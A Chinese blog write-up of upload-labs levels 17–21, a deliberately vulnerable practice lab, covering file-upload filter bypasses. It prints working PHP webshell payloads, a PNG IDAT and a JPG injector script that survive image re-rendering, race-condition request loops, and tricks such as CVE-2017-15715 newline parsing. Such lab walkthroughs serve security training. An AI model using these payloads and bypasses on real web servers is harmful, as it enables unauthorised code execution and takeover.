upload-labs靶场17-21关

admin 2022年5月16日02:45:34评论471 views字数 11228阅读37分25秒阅读模式

upload-labs靶场17-21关

0x00 前言

最近在刷一个靶场,前情提要:

1、《上传靶场upload-labs搭建及使用
2、《upload-labs靶场1-5关
3、《upload-labs靶场6-10关》
4、《upload-labs靶场11-16关》

今天我们来通关upload-labs靶场的17-21关。


0x01 Pass-17 二次渲染的绕过

upload-labs靶场17-21关

本关代码很长,只截取一部分,后面对png和gif的处理与上图中对jpg的处理类似。


upload-labs靶场17-21关

还是和上一关一样,需要成功上传三种格式的图片马,并使用靶场自带的文件包含漏洞成功运行其中的恶意代码才算过关。


本关程序首先判断上传文件的后缀名和filetype,根据判断类型二次渲染生成新的图片,最后上传新图片并使用随机数重命名。如果后缀不对、类型不对、后缀和类型不匹配、渲染时发现文件格式不对都会报错。


upload-labs靶场17-21关

前面几个问题都好解决,注意上传的后缀和Content-Type正确且相互匹配即可。但是要突破后面的格式校验不能只是简单的伪造文件头,否则会在重新渲染时发现格式错误,所以要上传正常的图片,在里面插入php代码。


但上传正常图片内带php代码,其代码又会在重新渲染后丢失。如何避免本关对图片的二次渲染造成的干扰是我们需要突破的难点。


【直面困难-gif】

解决这道题的思路目前想到两个,第一个是直面困难,想办法让插入的php代码在重新渲染后不丢失


upload-labs靶场17-21关

先试试gif吧,正常的上传一次图片,然后把重新渲染过的图片下载回来。


upload-labs靶场17-21关

使用Beyond Compare对比两张图片的区别。发现图片的上半部分在重新渲染后基本没有改动。


upload-labs靶场17-21关

直接把php代码插在上半部分的空白位置。


upload-labs靶场17-21关

包含运行代码成功。


不过按照作者的意思,还要上传png和jpg的图片马。这就没那么简单了。


【直面困难-png】

upload-labs靶场17-21关

故技重施,先正常上传一次图片然后下载回渲染后的图片做对比。发现png格式的变化很大。


upload-labs靶场17-21关

最主要的是,png的格式校验要比gif严格许多,头部不变的空白部分是不能修改的,否则校验不会通过。


查阅资料后发现有两种解决方法,一种是将恶意代码写入png图片的PLTE数据块。并重新计算修改CRC校验值。如此可以绕过格式的校验。


import binasciiimport re
png = open(r'2.png','rb')a = png.read()png.close()hexstr = binascii.b2a_hex(a)
''' PLTE crc '''data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffffprint hex(crc)

不过我只找到了计算crc校验值的脚本如上,具体的修改操作还是要手动,因为第二种解决方法更简单,所以这篇文章就不演示这种方法了,感兴趣的小伙伴可参阅文末的参考文献。


<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./1.png');?>

第二种方法是写入IDAT数据块,上面有现成的国外大牛编写的php脚本,运行后会在同目录下生成一个png图片。


直接上传即可,生成的png图片里面的恶意php代码是<?=$GET[0]($_POST[1]);?>。


upload-labs靶场17-21关

利用方式:get提交0参数作为函数名,post提交1参数作为函数的参数。如图可见包含成功。


原理未知,不知道为什么按照格式要求写入PLTE和IDAT数据块就能绕过二次渲染,要想理解可能需要学习一下png的格式结构。不过对于一个脚本小子来说,有脚本就够了,那对此小黑就暂时不深究了。


另外小黑也没看明白第二种方法的脚本怎么修改payload,如果遇到有waf的情况还是要用第一种方法才行,如果以后看懂了我再水一篇文章吧。


【直面困难-jpg】

<?php    /*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { $argv[1]="test.jpg"; //die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something's wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } }?>

和png一样,jpg对格式要求的很严格,这里同样使用上面现成的国外大牛编写的脚本。不过原脚本是命令行模式获取参数运行,windows下有点麻烦,我这里修改了一下把参数固定了。


upload-labs靶场17-21关

使用方法:脚本同目录里放一个test.jpg,然后运行脚本(可以使用web端访问一下)。如果出现Success,那同目录下会生成一个payload_test.jpg,拿去直接用就行了,payload是脚本开头的$minipayload变量的内容,可以自行修改。


jpg图片修改起来比较困难,有时会遇到脚本提示something wrong。那就需要换一张jpg图片。即使脚本成功生成了,也不代表就一定能包含利用。有可能payload中的哪个字符就被吞掉了,这时也要换一张图片。我是前后换了6张图片才找到能成功利用的一张。


upload-labs靶场17-21关


成功的情况:脚本能够生成图片,包含利用不出错。


【条件竞争】

upload-labs靶场17-21关

除了直面困难,这关还有条件竞争的思路。仔细观察代码后发现,原来上传的文件早在渲染前就上传成功了,只不过渲染成功or失败后,源文件会被unlink函数删除掉。


import requestsurl1 = "http://127.0.0.1/include.php?file=./upload/test.gif"while True:  # 定义死循环  html = requests.get(url1)

那我们可以直接上传图片马,另一边用python脚本不断访问包含的url,总有一次会在图片马被删除前访问成功。py脚本代码如上。


GIF89a<?php file_put_contents('./upload/shell.php','<?php phpinfo();?>');?>

当然利用的代码也要改成访问一次之后就能永久生效的,这里是改成了向upload目录下写文件。


upload-labs靶场17-21关

一边运行py脚本。


upload-labs靶场17-21关

另一边使用burp不断重放上传文件的数据包。


upload-labs靶场17-21关

重放十几次后,直接去upload目录里看,shell.php文件果然已经生成了。


upload-labs靶场17-21关

条件竞争利用成功。


至于为什么要写py脚本,而不是用burp的intruder功能呢。小黑这里发现如果上传和访问的包都使用burp不断重放,不管都使用intruder,还是一个使用intruder另一个用repeater。两种都无法竞争成功,具体原因我怀疑可能是burp在发包的时候使用的是同一个进程吧,无法做到同一时刻发两个包,不过也有可能是其他玄学原因。


结合页面上的提示和下一关的情况考虑,我认为直面二次渲染的绕过是本关的考点,条件竞争应该是非预期解法。


另外还要提一句,条件竞争在真实环境慎用,高强度不断发包有把服务器打挂的风险。


0x02 Pass-18 条件竞争绕过

upload-labs靶场17-21关

终于不再是图片马了,本关使用后缀白名单+重命名的防御措施。上传路径不再可控,因此无法截断。


upload-labs靶场17-21关

但我们还是很容易发现,本关仍可使用上一关的条件竞争解法。


import requestsurl1 = "http://127.0.0.1/upload/test.php"while True:  # 定义死循环  html = requests.get(url1)

py脚本如上,这关就不用包含漏洞了,直接访问上传的test.php即可。


<?php file_put_contents('shell.php','<?php phpinfo();?>');?>

test.php代码如上,注意写入webshell的路径和上一关不同:上一关运行代码是使用带有包含漏洞的include.php,该文件位于upload目录的上一级。但本关直接上传并运行的test.php就在upload目录里。


upload-labs靶场17-21关

同时使用python脚本和burp进行发包。


upload-labs靶场17-21关

send十几次后,直接访问shell.php发现存在。条件竞争成功。


0x03 Pass-19 条件竞争+多后缀解析绕过

$is_upload = false;$msg = null;if (isset($_POST['submit'])){    require_once("./myupload.php");    $imgFileName =time();    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);    $status_code = $u->upload(UPLOAD_PATH);    switch ($status_code) {        case 1:            $is_upload = true;            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;            break;        case 2:            $msg = '文件已经被上传,但没有重命名。';            break;         case -1:            $msg = '这个文件不能上传到服务器的临时文件存储目录。';            break;         case -2:            $msg = '上传失败,上传目录不可写。';            break;         case -3:            $msg = '上传失败,无法上传该类型文件。';            break;         case -4:            $msg = '上传失败,上传的文件过大。';            break;         case -5:            $msg = '上传失败,服务器已经存在相同名称文件。';            break;         case -6:            $msg = '文件无法上传,文件不能复制到目标目录。';            break;              default:            $msg = '未知错误!';            break;    }}
//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );
.................. /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
// if we are here, we are ready to move the file to destination
$ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}.................. };

本关代码很长,我们慢慢看。在index.php里,通过调用MyUpload类里的upload方法进行文件上传,upload方法接收的参数是文件的信息和当前的时间。


在myupload.php里,定义了一个后缀名白名单数组。然后在upload方法里依次调用了isUploadedFile、setDir、checkExtension、checkSize、checkFileExists、move、renameFile函数。这些函数也是在这个文件里定义的。


结合实际尝试来看,总体的流程就是上传一个文件后,程序进行目录可写性、文件后缀、文件大小、是否重复的检查。都没有问题后,再进行上传、最后用时间戳重命名文件。


upload-labs靶场17-21关

还有一个小bug:作者定义的上传路径常量少了一个/符号,所以实际上传的图片被传到了web根目录下。


分析整个流程,我们可以发现重命名动作在上传动作之后,同样可以想到条件竞争。至于上传前后缀白名单的限制,可以用之前的方法:apache多后缀解析漏洞来绕过。


至于00截断漏洞,之前是上传路径可控,在路径处做的截断。但这次路径不可控,如果在文件名那里截断的话,在进行后缀检测时就已经无法通过了。所以这一关无法使用截断漏洞。


import requestsurl1 = "http://127.0.0.1/uploadtest.php.7z"while True:  # 定义死循环  html = requests.get(url1)
<?php file_put_contents('shell.php','<?php phpinfo();?>');?>

和上一关一样,python脚本和test.php.7z文件的代码如上。之后在运行py脚本的同时用burp不断上传test.php.7z就行了。


upload-labs靶场17-21关

可以看到shell.php已成功生成,另外被访问成功的uploadtest.php.7z也似乎因为文件被占用从而避免了被重命名。


upload-labs靶场17-21关

这关要注意的是不能使用图片的后缀,因为apache的多后缀解析漏洞的要点是要挑选一个apache不认识的后缀在最后,图片的后缀apache都是认识并能正确解析的,所以我们这里用了7z后缀,这也是这关作者提供这么多白名单后缀的原因。


0x04 Pass-20 apache换行解析漏洞绕过

upload-labs靶场17-21关

这关又回到了黑名单,变化是文件名用post方式获取,后缀用pathinfo函数获取。检查后缀后,即直接上传。


upload-labs靶场17-21关

本关很简单,用之前的很多方法都能绕过,唯一需要注意的是修改文件名时要改红圈处而不是蓝圈处。已写过且此关仍可用的绕过方法如下:


.user.ini绕过--详见Pass05

大小写混淆绕过--详见Pass06

末尾加空格或点或::$DATA绕过--详见Pass07、08、09

apache多后缀解析绕过--详见Pass10

POST型00截断绕过--详见Pass13


介绍一个新的方法:

move_uploaded_file会忽略末尾的/.


upload-labs靶场17-21关

本关用move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的/.,因此可以在文件名后加/.这两个符号来绕过黑名单的限制。原理大概是因为函数把/.当作路径了吧。


upload-labs靶场17-21关

另外作者在readme里写着,本关必须在linux下运行(这里应该是作者没更新,因为中间插了个第5关,所以readme里的19关对应的应该就是本文的20关)。


如果是linux的话,.user.ini、apache多后缀解析漏洞、00截断漏洞、move_uploaded_file的漏洞仍然能用。


不过我认为作者特意说明linux,本意应该是这个:

apache换行解析漏洞(cve-2017-15715)


apache某些版本判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。


这个漏洞只有linux能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。


upload-labs靶场17-21关

漏洞利用的方式和00截断一样,在文件名末尾补上%0A然后用burp进行url解码。该文件就能绕过黑名单成功上传。


upload-labs靶场17-21关

最后访问的时候也不要忘记在末尾加上%0A,在linux服务器上这个文件也会被某些版本的apache当作php文件来解析。


0x05 Pass-21 数组绕过

upload-labs靶场17-21关

这一关是后缀白名单,之前有篇文章已经写过了。

详见《php源码分析案例 | 文件上传绕过》。

upload-labs靶场17-21关

这关来源于ctf,这个环境在实战中应该不太能遇得到,作者出这一关应该只是为了锻炼大家代码审计的能力。感兴趣的小伙伴看上面的文章吧,这里不再赘述。


0x06 后记

upload-labs靶场17-21关
VX公众号:《小黑的安全笔记》
终于刷完了哈哈哈,记得不久前我问过朋友:你能看出来我最近在水文章吗?朋友说:一眼就看出来了,就是没想到你能水这么多篇。

小黑感谢各位不取关之恩,下次还敢。

0x07 参考文献

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

https://wenku.baidu.com/view/f7b711dfcbd376eeaeaad1f34693daef5ef713f4.html

END.

喵,点个赞再走吧~

原文始发于微信公众号(小黑的安全笔记):upload-labs靶场17-21关

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日02:45:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   upload-labs靶场17-21关https://cn-sec.com/archives/1009470.html

发表评论

匿名网友 填写信息